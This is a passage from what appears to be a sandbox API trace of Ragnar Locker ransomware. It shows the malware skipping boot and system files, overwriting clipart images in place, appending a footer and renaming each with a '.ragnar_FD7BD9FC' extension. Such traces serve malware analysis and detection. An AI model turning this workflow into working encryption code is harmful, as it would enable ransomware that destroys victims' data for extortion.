dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.134] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.135] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.135] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.135] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.135] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.135] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.135] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.135] GetProcessHeap () returned 0x580000 [0090.135] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.135] CloseHandle (hObject=0xf4) returned 1 [0090.135] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" [0090.135] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.ragnar_FD7BD9FC" [0090.135] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.136] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1 [0090.136] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.136] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02470U.BMP" | out: lpString1="PH02470U.BMP") returned="PH02470U.BMP" [0090.136] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP") returned=".BMP" [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="autorun.inf") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="boot.ini") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="bootfont.bin") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="bootsect.bak") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="bootmgr") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="bootmgr.efi") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="desktop.ini") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="iconcache.db") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="ntldr") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="ntuser.dat") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="ntuser.ini") returned 1 [0090.136] lstrcmpiW (lpString1="PH02470U.BMP", lpString2="thumbs.db") returned -1 [0090.136] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.136] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.136] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.136] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.137] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.137] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.137] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp")) returned 0x20 [0090.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.138] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18684) returned 1 [0090.138] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x48f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.138] GetProcessHeap () returned 0x580000 [0090.138] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.138] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.139] VirtualAlloc (lpAddress=0x0, dwSize=0x48fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.139] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.140] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x48fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x48fc, lpOverlapped=0x0) returned 1 [0090.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.141] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x48fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.141] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x48fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x48fc, lpOverlapped=0x0) returned 1 [0090.141] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x48fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.141] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x48fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.141] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.141] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.141] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.141] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.141] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.141] GetProcessHeap () returned 0x580000 [0090.141] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.141] CloseHandle (hObject=0xf4) returned 1 [0090.142] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" [0090.142] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.ragnar_FD7BD9FC" [0090.142] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.142] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1 [0090.142] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.142] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02503U.BMP" | out: lpString1="PH02503U.BMP") returned="PH02503U.BMP" [0090.142] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP") returned=".BMP" [0090.142] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="autorun.inf") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="boot.ini") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="bootfont.bin") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="bootsect.bak") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="bootmgr") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="bootmgr.efi") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="desktop.ini") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="iconcache.db") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="ntldr") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="ntuser.dat") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="ntuser.ini") returned 1 [0090.143] lstrcmpiW (lpString1="PH02503U.BMP", lpString2="thumbs.db") returned -1 [0090.143] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.143] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.143] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.143] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.143] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.143] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.143] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp")) returned 0x20 [0090.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.145] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.145] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.145] GetProcessHeap () returned 0x580000 [0090.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.145] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.146] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.146] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.146] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.146] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.148] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.148] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.148] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.148] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.149] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.149] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.149] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.149] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.149] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.149] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.149] GetProcessHeap () returned 0x580000 [0090.149] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.149] CloseHandle (hObject=0xf4) returned 1 [0090.149] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" [0090.149] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.ragnar_FD7BD9FC" [0090.149] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.150] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1 [0090.150] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.150] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02567J.JPG" | out: lpString1="PH02567J.JPG") returned="PH02567J.JPG" [0090.150] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG") returned=".JPG" [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="autorun.inf") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="boot.ini") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="bootfont.bin") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="bootsect.bak") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="bootmgr") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="bootmgr.efi") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="bootmgfw.efi") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="desktop.ini") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="iconcache.db") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="ntldr") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="ntuser.dat") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="ntuser.dat.log") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="ntuser.ini") returned 1 [0090.150] lstrcmpiW (lpString1="PH02567J.JPG", lpString2="thumbs.db") returned -1 [0090.150] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.151] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.151] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.151] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.151] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.151] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.151] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg")) returned 0x20 [0090.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.151] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33945) returned 1 [0090.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.151] GetProcessHeap () returned 0x580000 [0090.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.151] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.153] VirtualAlloc (lpAddress=0x0, dwSize=0x8499, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.153] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.153] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.153] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8499, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8499, lpOverlapped=0x0) returned 1 [0090.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.154] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8499, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.154] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8499, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8499, lpOverlapped=0x0) returned 1 [0090.155] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8499, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.155] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.155] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.155] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.155] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) 